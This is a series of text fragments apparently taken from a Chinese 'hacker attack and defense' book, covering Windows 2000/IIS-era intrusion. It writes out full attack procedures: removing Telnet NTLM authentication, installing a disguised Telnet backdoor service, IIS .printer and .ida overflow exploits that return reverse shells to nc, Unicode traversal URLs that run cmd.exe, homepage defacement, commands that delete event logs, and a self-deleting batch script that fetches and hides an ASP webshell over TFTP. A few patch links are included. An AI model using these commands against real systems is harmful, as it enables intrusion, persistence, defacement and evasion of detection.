    {"text": "（2）用来做跳板 入侵者把用来隐身的肉鸡称之为“跳板” ，他们经常用这种方法，从一个“肉鸡”登录到另一 个“肉鸡”，这样在入侵过程中就不会暴露自己的 IP 地址，这一过程将在第 7 章中详细介绍。"},
    {"text": "3．关于 NTLM 验证 由于 Telnet 功能太强大，而且也是入侵者使用最频繁的登录手段之一，因此微软公司为 Telnet 93 黑客攻防实战详解 添加了身份验证，称为 NTLM 验证，它要求 Telnet 终端除了需要有 Telnet 服务主机的用户名和密 码外，还需要满足 NTLM 验证关系。"},
    {"text": "4．使用 Telnet 登录  登录命令：telnet HOST [PORT]  断开 Telnet 连接的命令：exit 成功的建立 Telnet 连接，除了要求掌握远程计算机上的账号和密码外，还需要远程计算机已 经开启“Telnet 服务”，并去除 NTLM 验证。 也可以使用专门的 Telnet 工具来进行连接，比如 STerm， CTerm 等工具。 3.3.2 Telnet 典型入侵 1．Telnet 典型入侵步骤 步骤 1 建立 IPC$连接。"},
    {"text": "图 3-58 然后，通过“开始”→“程序”→“附件”找到“命令提示符”，使用鼠标右键单击“命令提 示符” ，然后选择“属性” ，打开后如图 3-59 所示。"},
    {"text": "图 3-59 图 3-60 图 3-61 单击“确定”按钮后，得到 MS-DOS 界面，然后用该 MS-DOS 进行 Telnet 登录，如图 3-62 所示。 图 3-62 95 黑客攻防实战详解 键入“telnet 192.168.27.128”命令并回车后，在得到的界面中键入“y”表示发送密码并登录， 如图 3-63 所示。"},
    {"text": "图 3-64 图 3-64 就是远程主机为 Telnet 终端用户打开的 Shell，在该 Shell 中输入的命令将会直接在远 程计算机上执行。 比如，键入“net user”命令来查看远程主机上的用户列表，如图 3-65 所示。"},
    {"text": "首先与远程主机建立 IPC$连接，然后将 NTLM.EXE 拷贝至远程主机，最后通过 at 命令使远程计算机执行 NTLM.EXE，整个过程如图 3-66 所示。 计划任务执行 NTLM.EXE 后，便可键入“telnet 192.168.27.128”命令来登录远程计算机，如 图 3-67 所示。"},
    {"text": "首先，建立文本文件 telnet.txt，目的是通过 telnet.txt 文件来配置 tlntadmn 程序。 其中 tlntadmn 程序是 Windows 系统自 带的程序，专门用来配置 telnet 服务，它的使用方法如图 3-69 所示。"},
    {"text": "最后建立 IPC$连接，把 tel.bat 文件和 telnet.txt 文件分别拷贝到远程计算 机中，并通过 at 命令执行 tel.bat 文件，从而去除 NTLM 认证。 图 3-69 图 3-70 图 3-71 3.3.3 Telnet 杀手锏 1．opentelnet （1）opentelnet 简介 opentelnet 是国内高手编写的程序，专门用来解除 Telnet 的 NTLM 认证，方便快捷，不用建立 IPC$连接、不必考虑远程计算机是否正在运行 Telnet 服务，只要有用户名和密码，并且主机开放 98 第 3 章 基于认证的入侵 IPC$连接就行了，是入侵者经常使用的 Telnet 登录工具。 不过使用 opentelnet 打开的 Telnet 服务， 在目标主机重新启动后，Telnet 服务后不会自动运行。"},
    {"text": "“<Telnet 端口>”：更改 Telnet 的服务端口。 Telnet 的默认服务端口是 23 号，不过入侵者经 常不使用默认的 23 端口，比如使用 55，90 等端口来迷惑管理员。"},
    {"text": "2．实例 任务：去除 NTLM 验证，更改 Telnet 服务端口号，登录 Telnet 目标主机。 步骤 1 使用 opentelnet.exe 去除远程计算机 NTLM 验证，并把 Telnet 的服务端口改为“55” 端口。"},
    {"text": "图 3-75 另外，还可以使用与 opentelnet.exe 相配套的程序 resumetelnet.exe 来恢复远程主机的 NTLM 验证，命令格式为“ResumeTelnet.exe \\\\server username password”，如图 3-76 所示。"},
    {"text": "100 第 3 章 基于认证的入侵 图 3-78 3.3.4 Telnet 高级入侵全攻略 从前面的介绍可以看出，即使计算机使用了 NTLM 验证，入侵者还是能够轻松地去除 NTLM 验证来实现 Telnet 登录。"},
    {"text": "使用方法如下： C:\\AProMan.exe -a 显示所有进程 C:\\AProMan.exe -p 显示端口进程关联关系（需 Administrator 权限） C:\\AProMan.exe -t [PID] 杀掉指定进程号的进程 C:\\AProMan.exe -f [FileName] 把进程及模块信息存入文件 （2）instsrv 简介 instsrv 是一款用命令行就可以安装、卸载服务的程序，可以自由指定服务名称和服务所执行 的程序。"},
    {"text": "比如，通 过“opentelnet \\\\192.168.27.129 administrator \" \" 1 66”命令为 IP 地址为 192.168. 27.129 的主机去 除 NTLM 认证，开启 Telnet 服务，同时又把 Telnet 默认的 23 号登录端口改成 66 号端口。"},
    {"text": "步骤 3 把所需文件（instsrv.exe、AProMan.exe）拷贝到远程主机。 首先建立 IPC$，然后通过映射网络硬盘的方法把所需文件拷贝、粘贴到远程计算机的 C:\\winnt 文件夹中，具体过程如图 3-82 所示。"},
    {"text": "这里来介绍一下 入侵者如何通过安装系统服务的方法来让 Telnet 服务永远运行。 在安装服务之前，有必要了解一 下 Windows 操作系统是如何提供“Telnet 服务”的。 打开“计 算机管理”，然后查看“Telnet 服务”属性，如图 3-84 所示。 在“Telnet 的属性”窗口中，可以看到其中“可执行文件 的路径”指向“C:\\WINNT\\ System32\\tlntsvr.exe”。 可见，程 序 tlntsvr.exe 就是 Windows 系统中专门用来提供“Telnet 服务” 的。 也就是说，如果某服务指向该程序，那么该服务就会提 供 Telnet 服务。 因此，入侵者可以自定义一个新服务，将该 服务指向 tlntsvr.exe，从而通过该服务提供的 Telnet 服务登录， 这样做后，即使远程主机上的 Telnet 服务是被禁用的，入侵 者也可以毫无阻碍地登录到远程计算机，这种方法被称之为 Telnet 后门。"},
    {"text": "3-84 然后使用 instsrv.exe 建立一个名为“SYSHEALTH”的服务，并把这个服务指向 C:\\WINNT\\ System32\\tlntsvr.exe，根据 instsrv.exe 的用法，键入命令“instsrv.exe SYSHEALTH C:\\WINNT\\System32\\ tlntsvr.exe” ，如图 3-86 所示。"},
    {"text": "入侵者一般会把这个服务的 启动类型设置成“自动”，把原来的“Telnet 服务”停止并禁用，如图 3-87 所示。 图 3-87 通过验证可知，虽然远程主机上的 Telnet 服务已经被停止并禁用，但入侵者仍然能够通过 Telnet 来控制远程主机。"},
    {"text": "图 3-88 104 第 3 章 基于认证的入侵 3.3.5 常见问题与解答 1．问：虽然获得远程主机的用户名和密码，但是使用 opentelnet 连接的时候失败，如图 3-89 所示，为什么？"},
    {"text": "为了更加集中地管理软、硬件信息，在随后的 Windows 3.x 中，系统一改以往 DOS 中的管理方式，通过 Win.ini、System.ini、Control.ini、program.ini 等 INI 文件来保存操作系统有关软、硬件的配置信息和驱动程序。 虽然这种管理方式比 DOS 时代优秀， 但随着 Windows 3.x 应用越来越深入，过多的软、硬件信息很容易造成 INI 文件过于臃肿、庞大， 并且由于 INI 文件最大不能超过 64KB，这种方法又很容易造成配置信息无法保存。"},
    {"text": "通过注册表，系统便可以统 一管理软、硬件信息，使整个计算机的软、硬件成为一个有机的整体。 通过注册表，用户便可以轻易地添加、删除、修改系统内的软件配置信息或硬件驱动程序， 这就大大方便了用户对软、硬件的工作状态进行适当的调整。 与此同时，对于如此强大的注册表， 入侵者当然也不肯轻易放过，他们经常通过注册表来种植木马、修改软件信息，甚至删除、停用 105 黑客攻防实战详解 或改变硬件的工作状态。 3.4.1 注册表简介 在介绍入侵者如何进入注册表进行修改之前，首先介绍一些与注册表有关的知识。"},
    {"text": "下面来了 解一下注册表的树状结构（引自 Windows 系统帮助文件）。 ① 注册表被组织成子树及其项、子项和值项的分层结构，如图 3-90 所示。 图 3-90 ② 注册表根项名称说明如表 3-1 所示。"},
    {"text": "表 3-1 注册表根项名称说明 根项名称 说 明 HKEY_LOCAL_MACHINE 包含关于本地计算机系统的信息，包括硬件和操作系统数据，如总线类型、系统内存、设 备驱动程序和启动控制数据 HKEY_CLASSES_ROOT 包含由各种 OLE 技术使用的信息和文件类别关联数据（等价于 MS-DOS 下的 Windows 中的注册表）。 如果 HKEY_LOCAL_ MACHINE\\SOFTWARE\\Classes 或 HKEY_CURRENT_ USER\\ SOFTWARE\\Classes 中存在某个键或值， 则对应的键或值将出现在 HKEY_CLASSES_ ROOT 中。 如果两处均存在项或值，HKEY_ CURRENT_USER 版本将是出现在 HKEY_ CLASSES_ROOT 中的一个 HKEY_CURRENT_USER 包含当前以交互方式（与远程方式相反）登录的用户的用户配置文件，包括环境变量、桌 面设置、网络连接、打印机和程序首选项。 该子目录树是 HKEY_USERS 子目录树的别名并 指向 HKEY_USERS\\当前用户的安全 ID HKEY_USERS 包 含 关 于 动 态 加 载 的 用 户 配 置 文 件 和 默 认 的 配 置 文 件 的 信 息 。 这 包 含 同 时 出 现 在 HKEY_CURRENT_USER 中的信息。"},
    {"text": "该子目录树是 HKEY_LOCAL_ MACHINE 子目录树的一部分并指向 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\ Hardware Profiles\\Current 106 第 3 章 基于认证的入侵 ③ 数据类型说明如表 3-2 所示。"},
    {"text": "多数硬件组件信息都以二进制数据存储，而以十六进制 格式显示在注册表编辑器中 REG_DWORD 数据由 4 字节长的数表示。 许多设备驱动程序和服务的参数是这种类型并在注 册表编辑器中以二进制、十六进制或十进制的格式显示 REG_EXPAND_SZ 长度可变的数据串。"},
    {"text": "项用空格、逗号或其 他标记分开 REG_SZ 固定长度的文本串 REG_FULL_RESOURCE_DESCRIPTOR 设计用来存储硬件元件或驱动程序的资源列表的一列嵌套数组 更详细的注册表使用请参见 Windows 自带的帮助文件。"},
    {"text": "3.4.2 远程开启及连接远程主机的“远程注册表服务” 入侵者一般都是通过远程进入目标主机注册表的，因此，如果要连接远程目标主机的“网络 注册表”实现注册表入侵的话，除了能成功地建立 IPC$连接外，还需要远程目标主机已经开启了 “远程注册表服务” 。"},
    {"text": "步骤 2 打开“计算机管理” ，用“计算机管理”管理远程计算机，如图 3-92 和图 3-93 所示。 图 3-91 图 3-92 步骤 3 开启“远程注册表服务（Remote Registry Service） ”，如图 3-94 和图 3-95 所示。"},
    {"text": "107 黑客攻防实战详解 图 3-93 图 3-94 图 3-95 3.4.3 编辑注册表（REG）文件 除了使用网络注册表连接来手工修改注册表，还可以使用导入 REG 文件的方法。"},
    {"text": "使用 REG 文件导入的方法有一 些好处，比如使用连接网络注册表方法的时候，只能编辑有限的几项，有时候并不能满足要求， 但 REG 文件导入的方法能够解决这个问题。"},
    {"text": "2．实例一 下面介绍入侵者如何在远程主机注册表根项 HKEY_CURRENT_USER\\Software\\中添加名为 “HACK”的主键，并在 HACK 主键下建立一个名为“NAME”，类型为“DWORD”，值为“00000000” 的键值项。"},
    {"text": "黑客攻防实战详解 2 IIS5 中文 Win2000 SP2 3 IIS5 中文 Win2000 SP0 4 IIS5 中文 Win2000 SP1 ② 溢出后的连接工具——nc nc，在网络工具中具有“瑞士军刀”之美誉，是入侵者经常使用的工具之一。"},
    {"text": "a）主动连接到外部：nc [-options] hostname port[s] [ports] b）监听以等待外部连接：nc -l -p port [-options] [hostname] [port] 参数说明如下： -e prog 程序重定向，一旦连接，就执行[危险!!] -g 网关路由跳数，可设置到 8 -G 源路由数目：4，8，12，… -h 帮助信息 -i 延时的间隔 -l 监听模式，用于入站连接 -n 指定数字的 IP 地址，不能用 hostname -o file 记录十六进制的传输 -p port 本地端口号 171 黑客攻防实战详解 -r 任意指定本地及远程端口 -s addr 本地源地址 -u UDP 模式 -v 详细输出——用两个-v 可得到更详细的内容 -w 超时时间 -z 将输入输出关掉——用于扫描时 其中端口号可以指定一个或者用 lo-hi 式的指定范围。"},
    {"text": "使用 IISIDQ 连接方式一的命令格式“iisidq 0 192.168.245.128 80 1 521 1”。 该命令表示使用 IISIDQ 的连接方式一对 192.168.245.128 进行 IDQ 漏洞溢出，其中 80 端口是该远程服务器的 Web 服务端口。"},
    {"text": "此外，由于在步骤二中绑定的命令是“cmd.exe”，因此在使用 nc 完成与远程主机的连接后， 172 第 4 章 基于服务器软件漏洞的入侵 入侵者会得到由 cmd 命令打开的远程服务器命令执行界面，该界面是由远程服务器溢出后提供给 入侵者的拥有管理员权限的 Shell，如图 4-13 所示。"},
    {"text": "使用 IISIDQ 的连接方式二命令“iisidq 0 192.168.245.128 80 2 210.30.*.* 250 1”表示通过方 式二对远程服务器进行漏洞溢出，使远程服务器在溢出后自动连接到入侵者本地机的 250 号端口， 如图 4-15 所示。"},
    {"text": "另外，还需要说明的是，由于漏洞的溢出是通过远 程主机的 80 端口进行的，对于提供 Web 服务的服务器来说，它的防火墙并不会拦截通往这一端 口的数据。"},
    {"text": "4．安全解决方案 （1）下载安装补丁  Windows NT 4.0: 下载：http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30833  Windows 2000 Professional, Server and Advanced Server: 下载：http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30800  Windows XP beta：在下个 Beta 版本会得到解决。"},
    {"text": "（2）删除对.idq 和.ida 的脚本映射 在 IIS 管理器的属性中删除对.idq 和.ida 的脚本映射也可解决该漏洞带来的安全隐患。 不过 需要注意的是，如果以后安装其他系统组件，还有可能导致该映射被重新自动安装，而且即使 Index Server/Indexing Service 没有开启，但是只要对.idq 或.ida 文件的脚本映射存在，攻击者也 能利用此漏洞。 不过对于已经安装了 Index Server 或 Index Services，但是没有安装 IIS 的系统并 无此漏洞。"},
    {"text": "4.1.3 .printer 漏洞 1．漏洞描述（引自安全焦点 http://www.xfocus.net） Windows 2000 IIS 5.0 .print ISAPI 扩展存在缓冲区溢出漏洞。 174 第 4 章 基于服务器软件漏洞的入侵  发布时间：2001-05-07  更新时间：2001-05-07  受影响系统 Microsoft Windows 2000 Server Microsoft Windows 2000 Datacenter Server Microsoft Windows 2000 Advanced Server Windows 2000 IIS 5.0 存 在 打 印 扩 展 ISAPI （ Internet Services Application Programming Interface） ， 使.printer 扩展与 msw3prt.dll 进行映射，该扩展可以通过 Web 调用打印机。 Windows 2000 打印 ISAPI 扩展接口建立了.printer 扩展名到 msw3prt.dll 的映射关系，默认情况下存在，并会处理 用户请求，但在 msw3prt.dll 文件中存在缓冲溢出漏洞，“Host：”栏（HTTP.printer 请求格式）中 包含大约 420 字节的 HTTP .printer 请求给服务器，就可以导致缓冲溢出并执行任意代码。"},
    {"text": "2．漏洞检测 打开 X-Scan 扫描 IIS 漏洞，如果得到“可能存在 IIS 5.0 .printer 远程缓冲区溢出漏洞”则说明 该远程服务器存在.printer 漏洞，如图 4-18 所示。 图 4-18 3．漏洞利用 （1）使用工具 IIS5 .Printer Exploit 进行漏洞利用  命令格式：IIS5Exploit <目标 IP><入侵者 IP> <本地监听端口>  使用方法： D:\\>IIS5Exploit 210.*.*.95 210.30.*.* 250 ===========IIS5 English Version .Printer Exploit.=========== ===Written by Assassin 1995-2001. http://www.netXeyes.com=== Connecting 210.*.*.95 ...OK. Send Shell Code ...OK IIS5 Shell Code Send OK 键入上述命令后稍等片刻，如果漏洞溢出成功便会在本机 nc 监听的窗口出现，此时入侵者便 得到远程服务器管理员的 Shell。"},
    {"text": "当获得远程主机的命令窗口后，可以在该窗口中执行命令来添加后门账号，比如执行如下命 令来建立了一个属于 Administrator 组的用户，用户名为 Hack，密码为 password。"},
    {"text": "C:\\>net user hack password /add The command completed successfully. C:\\>net localgroup administrartors hack /add （2）使用工具 iisx v0.3 进行漏洞溢出  命令格式：iisx <targethost> <sp> <-p|-a|-r attackhost attackport>  参数说明： sp：0——没有补丁 1——打了补丁包 sp1 -p——如果执行“iisx 1.1.1.1 0 -p”命令，那么当漏洞成功溢出后，会在 1.1.1.1 上打开 7788 端口等待连接，入侵者便可以使用 telnet 1.1.1.1 7788 或使用 nc 1.1.1.1 7788 来登录远程服务器。 -a——如果执行“iisx 1.1.1.1 -a” ，那么当漏洞成功溢出后，会在 1.1.1.1 上添加一个管理员账 号，账号名 hax，密码也为 hax，然后入侵者就可以使用命令 net use \\\\1.1.1.1\\ipc$ \"hax\" /user: \"hax\" 登录远程服务器，或使用功能更加强大的 DameWare 实现远程控制。"},
    {"text": "入侵者首先在本地使用 nc 打开监听端口如 250 端口，然后使用命令“iisx 1.1.1.1 -r 2.2.2.2 250”对远程服务器进行溢出， 如果溢出成功就会在监听窗口上获得远程服务器的命令窗口（Shell）。 比如， 如果入侵者想在远程服务器上建立后门账号，那么可以在 MS-DOS 中键入命令“iisx 210. □. □.95 0 -a”，如图 4-19 所示。"},
    {"text": "图 4-19 如果入侵者想远程连接服务器，那么可以在 MS-DOS 中键入命令“iisx 210.*.*.95 0 -p”对远 程服务器进行漏洞溢出，如图 4-20 所示。"},
    {"text": "图 4-21 然后使用“iisx 210.□. □.95 0 –r 210.30. □. □ 250”命令进行漏洞溢出，其中“210.30. □. □”是入侵者本地 IP 地址，“250”是使用 nc 在本地打开的监听端口，如图 4-22 所示。 和前面介 绍过的结果相同，如果溢出成功后，便会在本地 nc 监听窗口中得到远程服务器的命令窗口。"},
    {"text": "图 4-22 4．安全解决方案 微软已经发布了漏洞补丁： http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29321 以上两小节介绍了 Unicode 漏洞和.asp 映射分块编码漏洞。"},
    {"text": "通过对这两个漏洞的介绍，可以了 解到，入侵者通过这两个漏洞并不能直接获得远程服务器的管理员权限。 但是，入侵者可以通过 其他方法配合该漏洞进行入侵，拿到管理员权限。"},
    {"text": "4.1.4 Unicode 目录遍历漏洞 1．漏洞描述（来自中联绿盟 http://www.nsfocus.com/） 微软 IIS 4.0 / 5.0 扩展 Unicode 目录遍历漏洞。  发布日期：2000 年 10 月 17 日  更新日期：2000 年 10 月 17 日  受影响的版本： Microsoft IIS 5.0 Microsoft Windows NT 2000 Microsoft IIS 4.0 Microsoft Windows NT 4.0 Microsoft BackOffice 4.5 Microsoft Windows NT 4.0 177 黑客攻防实战详解 Microsoft BackOffice 4.0 Microsoft Windows NT 4.0 微软 IIS 4.0 和 5.0 都存在利用扩展 Unicode 字符取代“/”和“\\”而能利用“../”目录遍历的 漏洞。"},
    {"text": "该账 号在默认情况下属于 Everyone 和 Users 组的成员，因此任何与 Web 根目录在同一逻辑驱动器上的能 被这些用户组访问的文件都能被删除、修改或执行，就如同一个用户成功登录所能完成的一样。"},
    {"text": "因此，只要入侵者能够构造出适当的字符如“/”和“\\”，就可以利用“../”来遍历与 Web 根目录 同处在一个逻辑驱动器上的目录，从而导致“非法遍历”。"},
    {"text": "除此之外，入侵者可以 通过 Unicode 编码利用来找到并打开该服务器上的 cmd.exe 来执行命令。 实现 Unicode 编码利用入 侵的关键是构造“/”和“\\”字符让远程服务器执行，在 Unicode 编码中，可以通过下面编码来构 造构造“/”和“\\”字符。"},
    {"text": "%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = ‘/’ %c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = ‘\\’ 针对不同语言的操作系统，对应的 Unicode 又有不同，读者可参见表 4-1。"},
    {"text": "表 4-1 操作系统 NT4 server Windows 2000 server Windows 2000 pro Windows 2000 pro 编码 中文版 中文版 中文版 英文版 %c1%9c 可用 可用 %c0%af 可用 可用 %c0%2f 可用 可用 %c1%1c 可用 可用 %c1%9v 可用 可用 3．漏洞检测 （1）手工检测 假设远程服务器的操作系统为 Windows 2000 pro 中文版，通过编码表，可以知道对应编码为 “%c1%1c”或“%c0%2f”，这里选择使用编码“%c1%1c”。 然后，在 IE 的地址栏中输入“http://192. 168.245.128/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+ C:\\” ，与远程服务器连接后，如果得 到如图 4-23 所示的回显，就说明该服务器存在 Unicode 目录遍历漏洞。 图 4-23 178 第 4 章 基于服务器软件漏洞的入侵 下面对“http://192.168.245.128/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+C:\\”进行解释。"},
    {"text": " “scripts”为远程服务器上的脚本文件目录，除 scripts 外，通常还有 msadc、_vti_、_mem_ bin、cgi-bin 等脚本文件目录，其中 scripts 目录是最常用的。"},
    {"text": " “winnt”是远程服务器的系统目录，也可尝试换成“windows”，该参数根据远程服务器 系统的不同而不同。  “winnt/system32/cmd.exe?/c+”这一串参数用来打开远程服务器中的 cmd.exe，一般不用改变。"},
    {"text": "在“扫描模块”中选中“IIS 漏洞”，开始扫描，如果扫描到类似 “/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir”就说明远程服务器存在该漏 洞，如图 4-24 所示。"},
    {"text": "实例一：“涂鸦”主页 在黑客大战中，黑客们攻击的目标主要是网站，而他们的战利品就是被“涂鸦”的网页，他 们把网站的主页改成预先准备的标语，以表明自己立场。"},
    {"text": "179 黑客攻防实战详解 方法一： 如果远程服务器存在.ida&.idq 漏洞，那么可以利用该漏洞找出 Web 根目录所在的物理路径。 过程如下：打开 IE 在地址栏中输入“http://192.168.245.129/1.ida”，与远程服务器连接后，在 IE 的回显中就可以看到该服务器 Web 根目录的物理路径。 比如得到回显“找不到 IDQ 文件 C:\\inetpub\\ wwwroot\\1.ida” ，从该回显中便可知远程服务器 Web 根目录为 C:\\inetpub\\ wwwroot\\。 方法二： 通过查找文件的方法找到远程服务器的 Web 根目录。"},
    {"text": "首先，在 IE 中输入“http://192. 168.245. 128/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+C:\\mmc.gif/s” ，其中“/s”参数加在 dir 命令 后表示查找指定文件或文件夹的物理路径，所以“dir+C:\\mmc.gif/s”表示在远程服务器的 C 盘中 查找 mmc.gif 文件。 由于文件 mmc.gif 是 IIS 默认安装在 Web 根目录中的，所以在找到该文件的 同时， 也就找到了 Web 根目录。"},
    {"text": "主页的文件名一般 为 index.htm、index.html、default.htm、default.html 或 default.asp，可以通过 Unicode 漏洞来查看。 在 IE 地址栏中敲入“dir+C:\\Inetpub\\wwwroot\\”命令，得到的结果如图 4-26 所示。 图 4-26 180 第 4 章 基于服务器软件漏洞的入侵 可见，该服务器的主页文件是 index.htm。"},
    {"text": "方法如下：在本地打开 TFTP 服务器（即 tftpd32.exe） ，不用进行任何设置，只要把 1.htm 文件拷贝到 TFTP 服务器路径下即可，如图 4-27 所示。 其中，TFTP 服务器是用来上传下载文件的，非常小巧，几乎不用什么设置，只要执行 tftpd32. exe，本机就成为一台 TFTP 服务器，使用 Windows 自带的 TFTP 命令便可在该服务器上传和下载 文件。"},
    {"text": "图 4-27 图 4-28 TFTP 命令是 Windows 自带的命令， 专门用来从 TFTP 服务器上传和下载文件，使用方法如下： TFTP [-i] host [GET | PUT] source [destination] -I 二进制文件传输 host TFTP 服务器地址 GET 下载文件 PUT 上传文件 Source 文件名 destination 目的地 然后利用 Unicode 漏洞使用 TFTP 命令把本机上的标语文件 1.htm 传到该服务器的 Web 根目 录下，使用命令为“tftp+192.168.245.1+get+1.htm+C:\\inetpub\\wwwroot\\index.htm”来覆盖该服务器 的主页文件，如图 4-29 所示，虽然从返回的信息中得到的是错误的提示，但实际上已经完成文件 传输的任务了。 181 黑客攻防实战详解 图 4-29 涂鸦完成后，重新登录一下该服务器的网站，打开 IE 浏览器，输入网址，刷新后如图 4-30 所示，该网页就是刚才传上去的标语文件 1.htm。"},
    {"text": "在客户端 IE 浏览器中利用 Unicode 编码漏洞，依次使用如下命 令来清除该服务器上的日志文件： del+C:\\winnt\\system32\\logfiles\\*.* del+C:\\winnt\\system32\\config\\*.evt del+C:\\winnt\\system32\\dtclog\\*.* del+C:\\winnt\\system32\\*.log del+C:\\winnt\\system32\\*.txt del+C:\\winnt\\*.txt del+C:\\winnt\\*.log 此外，也可把上述命令编成 BAT 文件，然后通过 TFTP 服务器把 BAT 文件上传至该服务器 C:\\下，再通过 Unicode 漏洞执行该 BAT 文件。 但是，通过 Unicode 漏洞获得的权限很低，对于绝 大多数的服务器，入侵者是无法通过 Unicode 漏洞对 System32 目录进行访问的，更谈不上删除这 些日志了。"},
    {"text": "实例三：修改文件属性 在入侵过程中，入侵者都会想尽方法来隐藏自己所上传的文件来避免被管理员发现。 如果要 182 第 4 章 基于服务器软件漏洞的入侵 上传文件，又不想被该服务器的管理员发现，入侵者可以把上传的文件设置成“隐藏”加“系统” 属性，这样做以后，即使使用“搜索”功能都找不到该文件。"},
    {"text": "这里需要借助一个 DOS 命令 Attrib。 Attrib 命令使用方法： C:\\>attrib /? 显示或更改文件属性。 Attrib [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[drive:] [path] filename] [/S [/D]] + 设置属性。"},
    {"text": "如果要把 C 盘中的 abc.exe 设置成“系统”加“隐藏”属性，使用命令“attrib.exe+%2bH + %2bS+ C:\\abc.exe”来实现。 其中“%2b”表示符号“+” ，该命令相当于“attrib.exe +H +S C:\\abc.exe”。 同样的道理，若要去掉隐藏和系统属性使用下面命令“attrib.exe+−H+−S + C:\\abc.exe”，该命令相 当于“attrib.exe –H –S C:\\abc.exe”。"},
    {"text": "海阳顶端网木马也是一套 ASP 在线的网页编辑软件，支持在线更改、编辑、删除任意 文本文件，同时最重要的是解决了无组件 ASP 上传，完全不须注册组件就可以同时上传多个不同 类型文件，用它可以在远程服务器上轻松建立自己的个人主页。"},
    {"text": "可以举个例子来说明，假设入侵者在某服务器上申请了支持 ASP 的网站空间（国内很多 这样的空间提供商） ，然后把海阳顶端网木马传上去，结果那台服务器就被入侵者通过该 ASP 工 具控制了。 也就是说，通过该 ASP 工具，入侵者除了能对自己申请的空间操作外，还可以通过 IE 浏览器对远程服务器上的文件进行删除、修改甚至执行命令，不过海阳顶端网木马并不能得到管 理员权限。"},
    {"text": "步骤 1 上传木马文件。 由于海阳顶端网木马文件比较多（10 个），输入命令一个个上传比较麻烦，因此编写批处理 文件把木马文件和该批处理文件上传至远程服务器内部。"},
    {"text": "该批处理文件 load.bat 的内容如下： tftp %1 get index.asp %2\\index.asp tftp %1 get 1.asp %2\\1.asp tftp %1 get cmd.asp %2\\cmd.asp tftp %1 get edir.asp %2\\edir.asp tftp %1 get edit.asp %2\\edit.asp tftp %1 get ftp.asp %2\\ftp.asp tftp %1 get list.asp %2\\list.asp tftp %1 get p.asp %2\\p.asp tftp %1 get up.asp %2\\up.asp tftp %1 get upfile.asp %2\\upfile.asp 183 黑客攻防实战详解 tftp %1 get upfile.asp %2\\upfile.asp 其中“%1”代表本地 IP 地址，%2 代表服务器上 Web 根目录。"},
    {"text": "入侵者为了不让这些 ASP 木马被该服务器管理员发现，会在 load.bat 中再给这些 ASP 木马添 加“系统”和“隐藏”属性，通过加入下列命令来实现。 attrib +h +s %2\\index.asp attrib +h +s %2\\1.asp attrib +h +s %2\\cmd.asp attrib +h +s %2\\edir.asp attrib +h +s %2\\edit.asp attrib +h +s %2\\ftp.asp attrib +h +s %2\\list.asp attrib +h +s %2\\p.asp attrib +h +s %2\\up.asp attrib +h +s %2\\upfile.asp 最后，在完成木马上传和隐藏任务后还需要删除 load.bat 这个过渡文件，所以还要在 load.bat 文件中加入自杀命令“del C:\\\\load.bat”。 这样，实现把 ASP 木马上传并隐藏的 load.bat 文件全部内 容如下： tftp %1 get index.asp %2\\index.asp tftp %1 get 1.asp %2\\1.asp tftp %1 get cmd.asp %2\\cmd.asp tftp %1 get edir.asp %2\\edir.asp tftp %1 get edit.asp %2\\edit.asp tftp %1 get ftp.asp %2\\ftp.asp tftp %1 get list.asp %2\\list.asp tftp %1 get p.asp %2\\p.asp tftp %1 get up.asp %2\\up.asp tftp %1 get upfile.asp %2\\upfile.asp tftp %1 get upfile.asp %2\\upfile.asp attrib +h +s %2\\index.asp attrib +h +s %2\\1.asp attrib +h +s %2\\cmd.asp attrib +h +s %2\\edir.asp attrib +h +s %2\\edit.asp attrib +h +s %2\\ftp.asp attrib +h +s %2\\list.asp attrib +h +s %2\\p.asp attrib +h +s %2\\up.asp attrib +h +s %2\\upfile.asp del C:\\load.bat Load.bat 能够把海阳顶端网木马拷贝到远程服务器 Web 根目录下，并设置这些木马文件为隐 藏和系统属性。"},
    {"text": "④ 在服务器上执行 load.bat 把海阳顶端网木马拷贝到该服务器的 Web 根目录，命令格式为 “load.bat <入侵者 IP> <目标服务器 Web 根目录>”。 ⑤ 最后，打开 IE 浏览器，输入地址“http:\\\\目标服务器 IP\\index.asp”就可以远程控制该服务器了。"},
    {"text": "步骤 1 把本地 load.bat 传到远程服务器的 C 盘中。 使用命令：tftp+192.168.245.1+get+load.bat+ C:\\load.bat，如图 4-31 所示。 图 4-31 步骤 2 通过 BAT 文件把海阳顶端网木马传入该服务器的 Web 根目录下。 使用命令：C:\\load.bat+192.168.245.1+ C:\\Inetpub\\wwwroot，如图 4-32 所示。 其中“192.168.245.1” 是入侵者的 IP 地址， “C:\\Inetpub\\wwwroot”是远程服务器的 Web 根目录，这种格式是前面编写的 load.bat 文件中所规定的。"},
    {"text": "打开 IE 浏览器，输入 http://192.168.245.133/index.asp，与远程服务器建立连接后，会得到如 图 4-34 所示的界面。 图 4-34 所示就是海阳顶端网木马界面，然后在如图 4-35 所示界面的最下方填入默认密码 “haiyangtop.126.com”，进入控制主界面。"},
    {"text": "5．安全解决方案 Unicode 漏洞补丁随微软安全公告 MS00-057 一起发布，见： http://www.microsoft.com/technet/security/bulletin/ms00-057.asp 还可以到下面地址下载补丁进行修补。"},
    {"text": "IIS 4.0： http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp IIS 5.0： http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp 4.1.5 .asp 映射分块编码漏洞 1．漏洞描述（来自安全焦点 http://www.xfocus.net） Windows 2000 和 NT4 IIS .ASP 映射存在远程缓冲溢出漏洞  发布时间：2002-04-12  更新时间：2002-04-12  受影响系统 Microsoft IIS 4.0  Microsoft Windows NT 4.0 Microsoft IIS 5.0  Microsoft Windows 2000  详细描述 187 黑客攻防实战详解 IIS Web 服务器是 Microsoft 开发的流行的 Web 服务器。"},
    {"text": "恶意攻击者可以使用分块编码（chunk encoding）形式数据给 IIS 服务器，当解码和解析这些 数据的时候可以强迫 IIS 把入侵者提供的数据写到内存任意位置。"},
